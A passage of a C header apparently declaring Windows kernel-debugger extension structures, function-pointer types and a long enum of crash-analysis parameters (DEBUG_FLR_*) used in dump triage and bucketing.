SystemManufacturer[64];\n CHAR SystemProductName[64];\n CHAR SystemSKU[64];\n CHAR SystemVersion[64];\n} DEBUG_SMBIOS_INFO, *PDEBUG_SMBIOS_INFO;\n\n//\n// GetSmbiosInfo extension function from kdexts\n//\ntypedef HRESULT\n(WINAPI *PGET_SMBIOS_INFO)(\n IN PDEBUG_CLIENT Client,\n OUT PDEBUG_SMBIOS_INFO pSmbiosInfo\n );\n\n//\n// irp.c\n//\ntypedef struct _DEBUG_IRP_STACK_INFO {\n UCHAR Major;\n UCHAR Minor;\n ULONG64 DeviceObject;\n ULONG64 FileObject;\n ULONG64 CompletionRoutine;\n ULONG64 StackAddress;\n} DEBUG_IRP_STACK_INFO, *PDEBUG_IRP_STACK_INFO;\n\ntypedef struct _DEBUG_IRP_INFO {\n ULONG SizeOfStruct; // Must be == sizeof(DEBUG_IRP_INFO)\n ULONG64 IrpAddress;\n ULONG IoStatus;\n ULONG StackCount;\n ULONG CurrentLocation;\n ULONG64 MdlAddress;\n ULONG64 Thread;\n ULONG64 CancelRoutine;\n DEBUG_IRP_STACK_INFO CurrentStack;\n DEBUG_IRP_STACK_INFO Stack[10]; // Top 10 frames of irp stack\n} DEBUG_IRP_INFO, *PDEBUG_IRP_INFO;\n\n// GetIrpInfo\ntypedef HRESULT\n(WINAPI * PGET_IRP_INFO)(\n IN PDEBUG_CLIENT Client,\n IN ULONG64 Irp,\n OUT PDEBUG_IRP_INFO IrpInfo\n );\n\n//\n// pnpexts.cpp\n//\ntypedef struct _DDEBUG_PNP_TRIAGE_INFO {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_PNP_TRIAGE_INFO)\n ULONG64 Lock_Address;\n LONG Lock_ActiveCount;\n ULONG Lock_ContentionCount;\n ULONG Lock_NumberOfExclusiveWaiters;\n ULONG Lock_NumberOfSharedWaiters;\n USHORT Lock_Flag;\n ULONG64 TriagedThread;\n LONG ThreadCount;\n ULONG64 TriagedThread_WaitTime;\n //ULONG64 PpDeviceActionThread;\n //ULONG64 PpDeviceEventThread;\n} DEBUG_PNP_TRIAGE_INFO, *PDEBUG_PNP_TRIAGE_INFO;\n\n//\n// pnpexts.cpp (GetPNPTriageInfo)\n//\ntypedef HRESULT\n(WINAPI *PGET_PNP_TRIAGE_INFO)(\n IN PDEBUG_CLIENT Client,\n OUT PDEBUG_PNP_TRIAGE_INFO pPNPTriageInfo);\n\n\n//\n// pool.c\n//\ntypedef struct _DEBUG_POOL_DATA {\n ULONG SizeofStruct;\n ULONG64 PoolBlock;\n ULONG64 Pool;\n ULONG PreviousSize;\n ULONG Size;\n ULONG PoolTag;\n ULONG64 ProcessBilled;\n union {\n struct {\n ULONG Free:1;\n ULONG LargePool:1;\n ULONG SpecialPool:1;\n ULONG Pageable:1;\n ULONG Protected:1;\n ULONG Allocated:1;\n ULONG Reserved:26;\n };\n ULONG AsUlong;\n };\n ULONG64 Reserved2[4];\n CHAR PoolTagDescription[64];\n} DEBUG_POOL_DATA, *PDEBUG_POOL_DATA;\n\n\n// GetPoolData\ntypedef HRESULT\n(WINAPI *PGET_POOL_DATA)(\n PDEBUG_CLIENT Client,\n ULONG64 Pool,\n PDEBUG_POOL_DATA PoolData\n );\n\ntypedef enum _DEBUG_POOL_REGION {\n DbgPoolRegionUnknown,\n DbgPoolRegionSpecial,\n DbgPoolRegionPaged,\n DbgPoolRegionNonPaged,\n DbgPoolRegionCode,\n DbgPoolRegionNonPagedExpansion,\n DbgPoolRegionSessionPaged,\n DbgPoolRegionMax,\n} DEBUG_POOL_REGION;\n\n// GetPoolRegion\ntypedef HRESULT\n(WINAPI *PGET_POOL_REGION)(\n PDEBUG_CLIENT Client,\n ULONG64 Pool,\n DEBUG_POOL_REGION *PoolRegion\n );\n\n//\n// Proces.c: FindMatchingThread\n//\ntypedef struct _KDEXT_THREAD_FIND_PARAMS {\n ULONG SizeofStruct;\n ULONG64 StackPointer;\n ULONG Cid;\n ULONG64 Thread;\n} KDEXT_THREAD_FIND_PARAMS, *PKDEXT_THREAD_FIND_PARAMS;\n\ntypedef HRESULT\n(WINAPI *PFIND_MATCHING_THREAD)(\n PDEBUG_CLIENT Client,\n PKDEXT_THREAD_FIND_PARAMS ThreadInfo\n );\n\n//\n// FindFileLockOwnerInfo\n//\ntypedef struct _KDEXT_FILELOCK_OWNER {\n ULONG Sizeofstruct;\n ULONG64 FileObject; // IN File object whose owner is to be searched\n ULONG64 OwnerThread; // OUT Thread owning file object\n ULONG64 WaitIrp; // OUT Irp associated with file object in hte thread\n ULONG64 DeviceObject; // OUT Device object on which IRP is blocked\n CHAR BlockingDirver[32]; // OUT Driver for the device object\n} KDEXT_FILELOCK_OWNER, *PKDEXT_FILELOCK_OWNER;\n\ntypedef HRESULT\n(WINAPI *PFIND_FILELOCK_OWNERINFO)(\n PDEBUG_CLIENT Client,\n PKDEXT_FILELOCK_OWNER pFileLockOwner\n );\n\n//\n// locks\n//\ntypedef struct _KDEXTS_LOCK_INFO {\n ULONG SizeOfStruct;\n ULONG64 Address;\n ULONG64 OwningThread;\n BOOL ExclusiveOwned;\n ULONG NumOwners;\n ULONG ContentionCount;\n ULONG NumExclusiveWaiters; // threads waiting on exclusive access\n ULONG NumSharedWaiters; // threads waiting on shared access\n PULONG64 pOwnerThreads; // Array of thread addresses [NumOwners] owning lock\n // Set by Lock enumerator, caller needs to preserve value before return\n PULONG64 pWaiterThreads; // Array of thread addresses [NumExclusiveWaiters]\n // Set by Lock enumerator, caller needs to preserve value before return\n} KDEXTS_LOCK_INFO,*PKDEXTS_LOCK_INFO;\n\ntypedef HRESULT\n(WINAPI *KDEXTS_LOCK_CALLBACKROUTINE)(PKDEXTS_LOCK_INFO pLock,\n PVOID Context);\n\n#define KDEXTS_LOCK_CALLBACKROUTINE_DEFINED 2\n\n\n//\n// EnumerateSystemLocks\n// Enumerates owned locks and calls CallbackRoutine on all owned/active locks.\n//\ntypedef HRESULT\n(WINAPI *PENUMERATE_SYSTEM_LOCKS)(\n PDEBUG_CLIENT Client,\n ULONG Flags,\n KDEXTS_LOCK_CALLBACKROUTINE Callback,\n PVOID Context\n );\n\n//\n// pte information\n//\ntypedef struct _KDEXTS_PTE_INFO {\n ULONG SizeOfStruct; // Must be sizeof(_KDEXTS_PTE_INFO)\n ULONG64 VirtualAddress; // Virtual address to lookup PTE\n ULONG64 PpeAddress;\n ULONG64 PdeAddress;\n ULONG64 PteAddress;\n ULONG64 Pfn;\n ULONG64 Levels;\n ULONG PteValid:1;\n ULONG PteTransition:1;\n ULONG Prototype:1;\n ULONG Protection:1;\n ULONG Reserved:28;\n\n // Pte Pfn info\n ULONG ReadInProgress:1;\n ULONG WriteInProgress:1;\n ULONG Modified:1;\n} KDEXTS_PTE_INFO, *PKDEXTS_PTE_INFO;\n\n//\n// GetPteInfo\n//\ntypedef HRESULT\n(WINAPI *PKDEXTS_GET_PTE_INFO)(\n __in PDEBUG_CLIENT Client,\n __in ULONG64 Virtual,\n __out PKDEXTS_PTE_INFO PteInfo\n );\n\n#endif // _KDEXTSFN_H\n\n\n#ifndef _KEXTFN_H\n#define _KEXTFN_H\n\n/*\n * Extension functions defined in kext.dll\n */\n\n/*****************************************************************************\n PoolTag definitions\n *****************************************************************************/\n\ntypedef struct _DEBUG_POOLTAG_DESCRIPTION {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_POOLTAG_DESCRIPTION)\n ULONG PoolTag;\n CHAR Description[MAX_PATH];\n CHAR Binary[32];\n CHAR Owner[32];\n} DEBUG_POOLTAG_DESCRIPTION, *PDEBUG_POOLTAG_DESCRIPTION;\n\n// GetPoolTagDescription\ntypedef HRESULT\n(WINAPI *PGET_POOL_TAG_DESCRIPTION)(\n ULONG PoolTag,\n PDEBUG_POOLTAG_DESCRIPTION pDescription\n );\n\n#endif // _KEXTFN_H\n\n#ifndef _EXTAPIS_H\n#define _EXTAPIS_H\n\n/*\n * Extension functions defined in ext.dll\n */\n\n/*****************************************************************************\n Failure analysis definitions\n *****************************************************************************/\n#ifndef AUTOBUG_PROCESSING_SUPPORT\n#define AUTOBUG_PROCESSING_SUPPORT\n#endif\n\ntypedef enum _DEBUG_FAILURE_TYPE {\n DEBUG_FLR_UNKNOWN,\n DEBUG_FLR_KERNEL,\n DEBUG_FLR_USER_CRASH,\n DEBUG_FLR_IE_CRASH,\n} DEBUG_FAILURE_TYPE;\n\n/*\n Each analysis entry can have associated data with it. The\n analyzer knows how to handle each of these entries.\n For example it could do a !driver on a DEBUG_FLR_DRIVER_OBJECT\n or it could do a .cxr and k on a DEBUG_FLR_CONTEXT.\n*/\ntypedef enum _DEBUG_FLR_PARAM_TYPE {\n DEBUG_FLR_INVALID = 0,\n DEBUG_FLR_RESERVED,\n DEBUG_FLR_DRIVER_OBJECT,\n DEBUG_FLR_DEVICE_OBJECT,\n DEBUG_FLR_INVALID_PFN,\n DEBUG_FLR_WORKER_ROUTINE,\n DEBUG_FLR_WORK_ITEM,\n DEBUG_FLR_INVALID_DPC_FOUND,\n DEBUG_FLR_PROCESS_OBJECT,\n // Address for which an instruction could not be executed,\n // such as invalid instructions or attempts to execute\n // non-instruction memory.\n DEBUG_FLR_FAILED_INSTRUCTION_ADDRESS,\n DEBUG_FLR_LAST_CONTROL_TRANSFER,\n DEBUG_FLR_ACPI_EXTENSION,\n DEBUG_FLR_ACPI_RESCONFLICT,\n DEBUG_FLR_ACPI_OBJECT,\n DEBUG_FLR_READ_ADDRESS,\n DEBUG_FLR_WRITE_ADDRESS,\n DEBUG_FLR_CRITICAL_SECTION,\n DEBUG_FLR_BAD_HANDLE,\n DEBUG_FLR_INVALID_HEAP_ADDRESS,\n DEBUG_FLR_CHKIMG_EXTENSION,\n DEBUG_FLR_USBPORT_OCADATA,\n DEBUG_FLR_WORK_QUEUE_ITEM,\n DEBUG_FLR_ERESOURCE_ADDRESS, // ERESOURCE, use !locks to display this\n DEBUG_FLR_PNP_TRIAGE_DATA, // DEBUG_PNP_TRIAGE_INFO struct\n DEBUG_FLR_HANDLE_VALUE,\n DEBUG_FLR_WHEA_ERROR_RECORD, // WHEA_ERROR_RECORD for bugcheck 0x124\n DEBUG_FLR_VERIFIER_FOUND_DEADLOCK, // Possible deadlock found, run !deadlock\n\n DEBUG_FLR_IRP_ADDRESS = 0x100,\n DEBUG_FLR_IRP_MAJOR_FN,\n DEBUG_FLR_IRP_MINOR_FN,\n DEBUG_FLR_IRP_CANCEL_ROUTINE,\n DEBUG_FLR_IOSB_ADDRESS,\n DEBUG_FLR_INVALID_USEREVENT,\n DEBUG_FLR_VIDEO_TDR_CONTEXT,\n DEBUG_FLR_VERIFIER_DRIVER_ENTRY,\n\n // Previous mode 0 == KernelMode , 1 == UserMode\n DEBUG_FLR_PREVIOUS_MODE,\n\n // Irql\n DEBUG_FLR_CURRENT_IRQL = 0x200,\n DEBUG_FLR_PREVIOUS_IRQL,\n DEBUG_FLR_REQUESTED_IRQL,\n\n // Exceptions\n DEBUG_FLR_ASSERT_DATA = 0x300,\n DEBUG_FLR_ASSERT_FILE,\n DEBUG_FLR_EXCEPTION_PARAMETER1,\n DEBUG_FLR_EXCEPTION_PARAMETER2,\n DEBUG_FLR_EXCEPTION_PARAMETER3,\n DEBUG_FLR_EXCEPTION_PARAMETER4,\n DEBUG_FLR_EXCEPTION_RECORD,\n DEBUG_FLR_IO_ERROR_CODE,\n DEBUG_FLR_EXCEPTION_STR,\n DEBUG_FLR_EXCEPTION_DOESNOT_MATCH_CODE, // address causing read/write av was'nt referred in code\n DEBUG_FLR_ASSERT_INSTRUCTION,\n\n // Pool\n DEBUG_FLR_POOL_ADDRESS = 0x400,\n DEBUG_FLR_SPECIAL_POOL_CORRUPTION_TYPE,\n DEBUG_FLR_CORRUPTING_POOL_ADDRESS,\n DEBUG_FLR_CORRUPTING_POOL_TAG,\n DEBUG_FLR_FREED_POOL_TAG,\n\n\n // Filesystem\n DEBUG_FLR_FILE_ID = 0x500,\n DEBUG_FLR_FILE_LINE,\n\n // bugcheck data\n DEBUG_FLR_BUGCHECK_STR = 0x600,\n DEBUG_FLR_BUGCHECK_SPECIFIER,\n\n // Managed code stuff\n DEBUG_FLR_MANAGED_CODE = 0x700,\n DEBUG_FLR_MANAGED_OBJECT,\n DEBUG_FLR_MANAGED_EXCEPTION_OBJECT,\n DEBUG_FLR_MANAGED_EXCEPTION_MESSAGE,\n DEBUG_FLR_MANAGED_STACK_STRING,\n DEBUG_FLR_MANAGED_BITNESS_MISMATCH,\n DEBUG_FLR_MANAGED_OBJECT_NAME,\n DEBUG_FLR_MANAGED_EXCEPTION_CONTEXT_MESSAGE,\n\n\n // Constant values / exception code / bugcheck subtypes etc\n DEBUG_FLR_DRIVER_VERIFIER_IO_VIOLATION_TYPE = 0x1000,\n DEBUG_FLR_EXCEPTION_CODE,\n DEBUG_FLR_EXCEPTION_CODE_STR,\n DEBUG_FLR_IOCONTROL_CODE,\n DEBUG_FLR_MM_INTERNAL_CODE,\n DEBUG_FLR_DRVPOWERSTATE_SUBCODE,\n DEBUG_FLR_STATUS_CODE,\n DEBUG_FLR_SYMBOL_STACK_INDEX,\n DEBUG_FLR_SYMBOL_ON_RAW_STACK,\n DEBUG_FLR_SECURITY_COOKIES,\n DEBUG_FLR_THREADPOOL_WAITER,\n DEBUG_FLR_TARGET_MODE, // Value is DEBUG_FAILURE_TYPE\n DEBUG_FLR_BUGCHECK_CODE,\n DEBUG_FLR_BADPAGES_DETECTED,\n DEBUG_FLR_DPC_TIMEOUT_TYPE,\n DEBUG_FLR_DPC_RUNTIME,\n DEBUG_FLR_DPC_TIMELIMIT, \n\n // Notification IDs, values under it doesn't have significance\n DEBUG_FLR_CORRUPT_MODULE_LIST = 0x2000,\n DEBUG_FLR_BAD_STACK,\n DEBUG_FLR_ZEROED_STACK,\n DEBUG_FLR_WRONG_SYMBOLS,\n DEBUG_FLR_FOLLOWUP_DRIVER_ONLY, //bugcheckEA indicates a general driver failure\n DEBUG_FLR_UNUSED001, //bucket include timestamp, so each drive is tracked\n DEBUG_FLR_CPU_OVERCLOCKED,\n DEBUG_FLR_POSSIBLE_INVALID_CONTROL_TRANSFER,\n DEBUG_FLR_POISONED_TB,\n DEBUG_FLR_UNKNOWN_MODULE,\n DEBUG_FLR_ANALYZAABLE_POOL_CORRUPTION,\n DEBUG_FLR_SINGLE_BIT_ERROR,\n DEBUG_FLR_TWO_BIT_ERROR,\n DEBUG_FLR_INVALID_KERNEL_CONTEXT,\n DEBUG_FLR_DISK_HARDWARE_ERROR,\n DEBUG_FLR_SHOW_ERRORLOG,\n DEBUG_FLR_MANUAL_BREAKIN,\n DEBUG_FLR_HANG,\n DEBUG_FLR_BAD_MEMORY_REFERENCE,\n DEBUG_FLR_BAD_OBJECT_REFERENCE,\n DEBUG_FLR_APPKILL,\n DEBUG_FLR_SINGLE_BIT_PFN_PAGE_ERROR,\n DEBUG_FLR_HARDWARE_ERROR,\n DEBUG_FLR_NO_IMAGE_IN_BUCKET, // do not add image name in bucket\n DEBUG_FLR_NO_BUGCHECK_IN_BUCKET, // do not add bugcheck string in bucket\n DEBUG_FLR_SKIP_STACK_ANALYSIS, // do not look at stack\n DEBUG_FLR_INVALID_OPCODE, // Bad op code instruction\n DEBUG_FLR_ADD_PROCESS_IN_BUCKET,\n DEBUG_FLR_RAISED_IRQL_USER_FAULT,\n DEBUG_FLR_USE_DEFAULT_CONTEXT,\n DEBUG_FLR_BOOST_FOLLOWUP_TO_SPECIFIC,\n DEBUG_FLR_SWITCH_PROCESS_CONTEXT, // Set process context when getting tread stack\n DEBUG_FLR_VERIFIER_STOP,\n DEBUG_FLR_USERBREAK_PEB_PAGEDOUT,\n DEBUG_FLR_MOD_SPECIFIC_DATA_ONLY,\n DEBUG_FLR_OVERLAPPED_MODULE, // Module with overlapping address space\n DEBUG_FLR_CPU_MICROCODE_ZERO_INTEL,\n DEBUG_FLR_INTEL_CPU_BIOS_UPGRADE_NEEDED,\n DEBUG_FLR_OVERLAPPED_UNLOADED_MODULE,\n DEBUG_FLR_INVALID_USER_CONTEXT,\n DEBUG_FLR_MILCORE_BREAK,\n DEBUG_FLR_NO_IMAGE_TIMESTAMP_IN_BUCKET, // do not add _DATE_#### to bucket (aplicable for\n // buckets containing just the image name)\n DEBUG_FLR_KERNEL_VERIFIER_ENABLED, // Set for kernel targets which have verifier enabled\n DEBUG_FLR_SKIP_CORRUPT_MODULE_DETECTION, // do not look at module list for known corrupt modules\n\n // Known analyzed failure cause or problem that bucketing could be\n // applied against.\n DEBUG_FLR_POOL_CORRUPTOR = 0x3000,\n DEBUG_FLR_MEMORY_CORRUPTOR,\n DEBUG_FLR_UNALIGNED_STACK_POINTER,\n DEBUG_FLR_OLD_OS_VERSION,\n DEBUG_FLR_BUGCHECKING_DRIVER,\n DEBUG_FLR_SOLUTION_ID,\n DEBUG_FLR_DEFAULT_SOLUTION_ID,\n DEBUG_FLR_SOLUTION_TYPE,\n DEBUG_FLR_RECURRING_STACK,\n DEBUG_FLR_FAULTING_INSTR_CODE,\n DEBUG_FLR_SYSTEM_LOCALE,\n DEBUG_FLR_CUSTOMER_CRASH_COUNT,\n DEBUG_FLR_TRAP_FRAME_RECURSION,\n DEBUG_FLR_STACK_OVERFLOW,\n DEBUG_FLR_STACK_POINTER_ERROR,\n DEBUG_FLR_STACK_POINTER_ONEBIT_ERROR,\n DEBUG_FLR_STACK_POINTER_MISALIGNED,\n DEBUG_FLR_INSTR_POINTER_MISALIGNED,\n DEBUG_FLR_INSTR_POINTER_CLIFAULT,\n DEBUG_FLR_REGISTRYTXT_STRESS_ID,\n DEBUG_FLR_CORRUPT_SERVICE_TABLE,\n DEBUG_FLR_LOP_STACKHASH,\n DEBUG_FLR_GSFAILURE_FUNCTION,\n DEBUG_FLR_GSFAILURE_MODULE_COOKIE,\n DEBUG_FLR_GSFAILURE_FRAME_COOKIE,\n DEBUG_FLR_GSFAILURE_CORRUPTED_COOKIE,\n DEBUG_FLR_GSFAILURE_CORRUPTED_EBP,\n DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL,\n DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL_NAME,\n DEBUG_FLR_GSFAILURE_CORRUPTED_EBPESP,\n DEBUG_FLR_GSFAILURE_POSITIVELY_CORRUPTED_EBPESP,\n DEBUG_FLR_GSFAILURE_MEMORY_READ_ERROR,\n DEBUG_FLR_GSFAILURE_PROBABLY_NOT_USING_GS,\n DEBUG_FLR_GSFAILURE_POSITIVE_BUFFER_OVERFLOW,\n DEBUG_FLR_GSFAILURE_ANALYSIS_TEXT,\n DEBUG_FLR_GSFAILURE_OFF_BY_ONE_OVERRUN,\n DEBUG_FLR_GSFAILURE_RA_SMASHED,\n DEBUG_FLR_OS_BUILD_NAME,\n DEBUG_FLR_CPU_MICROCODE_VERSION,\n DEBUG_FLR_INSTR_POINTER_ON_STACK,\n DEBUG_FLR_INSTR_POINTER_ON_HEAP,\n DEBUG_FLR_EVENT_CODE_DATA_MISMATCH,\n DEBUG_FLR_PROCESSOR_INFO, // Data is DEBUG_ANALYSIS_PROCESSOR_INFO\n DEBUG_FLR_INSTR_POINTER_IN_UNLOADED_MODULE,\n DEBUG_FLR_MEMDIAG_LASTRUN_STATUS,\n DEBUG_FLR_MEMDIAG_LASTRUN_TIME,\n DEBUG_FLR_INSTR_POINTER_IN_FREE_BLOCK,\n DEBUG_FLR_INSTR_POINTER_IN_RESERVED_BLOCK,\n DEBUG_FLR_INSTR_POINTER_IN_VM_MAPPED_MODULE,\n DEBUG_FLR_INSTR_POINTER_IN_MODULE_NOT_IN_LIST,\n DEBUG_FLR_INSTR_POINTER_NOT_IN_STREAM,\n DEBUG_FLR_MEMORY_CORRUPTION_SIGNATURE, // Memory corruption address, size and pattern (bit, byte, word, stride or large)\n DEBUG_FLR_BUILDNAME_IN_BUCKET,\n DEBUG_FLR_CANCELLATION_NOT_SUPPORTED,\n DEBUG_FLR_DETOURED_IMAGE, // At least one of images on target is detoured\n DEBUG_FLR_EXCEPTION_CONTEXT_RECURSION,\n DEBUG_FLR_DISKIO_READ_FAILURE,\n DEBUG_FLR_DISKIO_WRITE_FAILURE,\n\n // Internal data, retated to the OCA database\n DEBUG_FLR_INTERNAL_RAID_BUG = 0x4000,\n DEBUG_FLR_INTERNAL_BUCKET_URL,\n DEBUG_FLR_INTERNAL_SOLUTION_TEXT,\n DEBUG_FLR_INTERNAL_BUCKET_HITCOUNT,\n DEBUG_FLR_INTERNAL_RAID_BUG_DATABASE_STRING,\n DEBUG_FLR_INTERNAL_BUCKET_CONTINUABLE,\n DEBUG_FLR_INTERNAL_BUCKET_STATUS_TEXT,\n\n // Data corelating a user target to watson DB\n DEBUG_FLR_WATSON_MODULE = 0x4100,\n DEBUG_FLR_WATSON_MODULE_VERSION,\n DEBUG_FLR_WATSON_MODULE_OFFSET,\n DEBUG_FLR_WATSON_PROCESS_VERSION,\n DEBUG_FLR_WATSON_IBUCKET,\n DEBUG_FLR_WATSON_MODULE_TIMESTAMP,\n DEBUG_FLR_WATSON_PROCESS_TIMESTAMP,\n DEBUG_FLR_WATSON_GENERIC_EVENT_NAME,\n DEBUG_FLR_WATSON_STAGEONE_STR,\n\n // Data extracted from cabbed files with dump\n DEBUG_FLR_SYSXML_LOCALEID = 0x4200,\n DEBUG_FLR_SYSXML_CHECKSUM,\n DEBUG_FLR_WQL_EVENT_COUNT,\n DEBUG_FLR_WQL_EVENTLOG_INFO,\n\n // System information such as bios data, manufactures (from !sysinfo)\n DEBUG_FLR_SYSINFO_SYSTEM_MANUFACTURER = 0x4300,\n DEBUG_FLR_SYSINFO_SYSTEM_PRODUCT,\n DEBUG_FLR_SYSINFO_BASEBOARD_MANUFACTURER,\n DEBUG_FLR_SYSINFO_BIOS_VENDOR,\n DEBUG_FLR_SYSINFO_BIOS_VERSION,\n\n // Strings.\n DEBUG_FLR_BUCKET_ID = 0x10000,\n DEBUG_FLR_IMAGE_NAME,\n DEBUG_FLR_SYMBOL_NAME,\n DEBUG_FLR_FOLLOWUP_NAME,\n DEBUG_FLR_STACK_COMMAND,\n DEBUG_FLR_STACK_TEXT,\n DEBUG_FLR_MODULE_NAME,\n DEBUG_FLR_FIXED_IN_OSVERSION,\n DEBUG_FLR_DEFAULT_BUCKET_ID,\n DEBUG_FLR_MODULE_BUCKET_ID, // Part of Bucket id specific to the culprit module\n DEBUG_FLR_ADDITIONAL_DEBUGTEXT,\n DEBUG_FLR_USER_NAME,\n DEBUG_FLR_PROCESS_NAME,\n DEBUG_FLR_MARKER_FILE, // Marker file name from sysdata.xml in cabs\n DEBUG_FLR_INTERNAL_RESPONSE, // Response text for bucket\n DEBUG_FLR_CONTEXT_RESTORE_COMMAND, // command to restore original context as before analysis\n DEBUG_FLR_DRIVER_HARDWAREID, // hardware id of faulting driver from sysdata.xml\n DEBUG_FLR_DRIVER_HARDWARE_VENDOR_ID,\n DEBUG_FLR_DRIVER_HARDWARE_DEVICE_ID,\n DEBUG_FLR_DRIVER_HARDWARE_SUBSYS_ID,\n DEBUG_FLR_MARKER_MODULE_FILE, // Secondary marker file name from the module list\n DEBUG_FLR_BUGCHECKING_DRIVER_IDTAG, // Tag set during processing to identify bugchecking driver frm triage.ini\n DEBUG_FLR_MARKER_BUCKET, // bucket id derived from machine marker\n DEBUG_FLR_FAILURE_BUCKET_ID,\n DEBUG_FLR_DRIVER_XML_DESCRIPTION,\n DEBUG_FLR_DRIVER_XML_PRODUCTNAME,\n DEBUG_FLR_DRIVER_XML_MANUFACTURER,\n DEBUG_FLR_DRIVER_XML_VERSION,\n DEBUG_FLR_BUILD_VERSION_STRING,\n DEBUG_FLR_ORIGINAL_CAB_NAME,\n DEBUG_FLR_FAULTING_SOURCE_CODE,\n DEBUG_FLR_FAULTING_SERVICE_NAME,\n DEBUG_FLR_FILE_IN_CAB, // name of file (other than dump itself) found in cab\n DEBUG_FLR_UNRESPONSIVE_UI_SYMBOL_NAME,\n DEBUG_FLR_UNRESPONSIVE_UI_FOLLOWUP_NAME,\n DEBUG_FLR_UNRESPONSIVE_UI_STACK,\n DEBUG_FLR_PROCESS_PRODUCTNAME, // Product name string from process image version info\n DEBUG_FLR_MODULE_PRODUCTNAME, // Product name string from module image version info\n DEBUG_FLR_COLLECT_DATA_FOR_BUCKET, // DataWanted sproc params\n DEBUG_FLR_COMPUTER_NAME,\n DEBUG_FLR_IMAGE_CLASS,\n DEBUG_FLR_SYMBOL_ROUTINE_NAME, \n DEBUG_FLR_HARDWARE_BUCKET_TAG,\n DEBUG_FLR_KERNEL_LOG_PROCESS_NAME,\n DEBUG_FLR_KERNEL_LOG_STATUS,\n DEBUG_FLR_REGISTRYTXT_SOURCE,\n \n\n // User-mode specific stuff\n DEBUG_FLR_USERMODE_DATA = 0x100000,\n DEBUG_FLR_THREAD_ATTRIBUTES, // Thread attributes\n DEBUG_FLR_PROBLEM_CLASSES,\n DEBUG_FLR_PRIMARY_PROBLEM_CLASS,\n DEBUG_FLR_PRIMARY_PROBLEM_CLASS_DATA,\n DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS,\n DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS_DATA,\n DEBUG_FLR_DERIVED_WAIT_CHAIN,\n DEBUG_FLR_HANG_DATA_NEEDED,\n DEBUG_FLR_PROBLEM_CODE_PATH_HASH,\n DEBUG_FLR_SUSPECT_CODE_PATH_HASH,\n DEBUG_FLR_LOADERLOCK_IN_WAIT_CHAIN,\n DEBUG_FLR_XPROC_HANG,\n DEBUG_FLR_DEADLOCK_INPROC,\n DEBUG_FLR_DEADLOCK_XPROC,\n DEBUG_FLR_WCT_XML_AVAILABLE,\n DEBUG_FLR_XPROC_DUMP_AVAILABLE,\n DEBUG_FLR_DESKTOP_HEAP_MISSING,\n DEBUG_FLR_HANG_REPORT_THREAD_IS_IDLE,\n DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MF,\n DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MFO,\n DEBUG_FLR_WAIT_CHAIN_COMMAND,\n DEBUG_FLR_NTGLOBALFLAG,\n DEBUG_FLR_APPVERIFERFLAGS,\n DEBUG_FLR_MODLIST_SHA1_HASH,\n DEBUG_FLR_DUMP_TYPE,\n DEBUG_FLR_XCS_PATH,\n DEBUG_FLR_LOADERLOCK_OWNER_API,\n DEBUG_FLR_LOADERLOCK_BLOCKED_API,\n DEBUG_FLR_MODLIST_TSCHKSUM_SHA1_HASH, // hash of module list (with checksum, timestamp & size)\n DEBUG_FLR_MODLIST_UNLOADED_SHA1_HASH, // hash of unloaded module list\n DEBUG_FLR_MACHINE_INFO_SHA1_HASH, // hash of unloaded module list\n DEBUG_FLR_URLS_DISCOVERED,\n DEBUG_FLR_URLS,\n DEBUG_FLR_URL_ENTRY,\n DEBUG_FLR_WATSON_IBUCKET_S1_RESP, \n DEBUG_FLR_WATSON_IBUCKETTABLE_S1_RESP, \n DEBUG_FLR_SEARCH_HANG,\n DEBUG_FLR_WER_DATA_COLLECTION_INFO,\n\n // Analysis structured data\n DEBUG_FLR_STACK = 0x200000,\n DEBUG_FLR_FOLLOWUP_CONTEXT,\n DEBUG_FLR_XML_MODULE_LIST,\n DEBUG_FLR_STACK_FRAME,\n DEBUG_FLR_STACK_FRAME_NUMBER,\n DEBUG_FLR_STACK_FRAME_INSTRUCTION,\n DEBUG_FLR_STACK_FRAME_SYMBOL,\n DEBUG_FLR_STACK_FRAME_SYMBOL_OFFSET,\n DEBUG_FLR_STACK_FRAME_MODULE,\n DEBUG_FLR_STACK_FRAME_IMAGE,\n DEBUG_FLR_STACK_FRAME_FUNCTION,\n DEBUG_FLR_STACK_FRAME_FLAGS,\n DEBUG_FLR_CONTEXT_COMMAND,\n DEBUG_FLR_CONTEXT_FLAGS,\n DEBUG_FLR_CONTEXT_ORDER,\n DEBUG_FLR_CONTEXT_SYSTEM,\n DEBUG_FLR_CONTEXT_ID,\n DEBUG_FLR_XML_MODULE_INFO,\n DEBUG_FLR_XML_MODULE_INFO_INDEX,\n DEBUG_FLR_XML_MODULE_INFO_NAME,\n DEBUG_FLR_XML_MODULE_INFO_IMAGE_NAME,\n DEBUG_FLR_XML_MODULE_INFO_IMAGE_PATH,\n DEBUG_FLR_XML_MODULE_INFO_CHECKSUM,\n DEBUG_FLR_XML_MODULE_INFO_TIMESTAMP,\n DEBUG_FLR_XML_MODULE_INFO_UNLOADED,\n DEBUG_FLR_XML_MODULE_INFO_ON_STACK, \n DEBUG_FLR_XML_MODULE_INFO_FIXED_FILE_VER, \n DEBUG_FLR_XML_MODULE_INFO_FIXED_PROD_VER,\n DEBUG_FLR_XML_MODULE_INFO_STRING_FILE_VER,\n DEBUG_FLR_XML_MODULE_INFO_STRING_PROD_VER,\n DEBUG_FLR_XML_MODULE_INFO_COMPANY_NAME,\n DEBUG_FLR_XML_MODULE_INFO_FILE_DESCRIPTION,\n DEBUG_FLR_XML_MODULE_INFO_INTERNAL_NAME,\n DEBUG_FLR_XML_MODULE_INFO_ORIG_FILE_NAME,\n DEBUG_FLR_XML_MODULE_INFO_BASE,\n DEBUG_FLR_XML_MODULE_INFO_SIZE,\n DEBUG_FLR_XML_MODULE_INFO_PRODUCT_NAME,\n DEBUG_FLR_PROCESS_INFO,\n DEBUG_FLR_EXCEPTION_MODULE_INFO,\n DEBUG_FLR_CONTEXT_FOLLOWUP_INDEX,\n DEBUG_FLR_XML_GLOBALATTRIBUTE_LIST,\n DEBUG_FLR_XML_ATTRIBUTE_LIST,\n DEBUG_FLR_XML_ATTRIBUTE,\n DEBUG_FLR_XML_ATTRIBUTE_NAME,\n 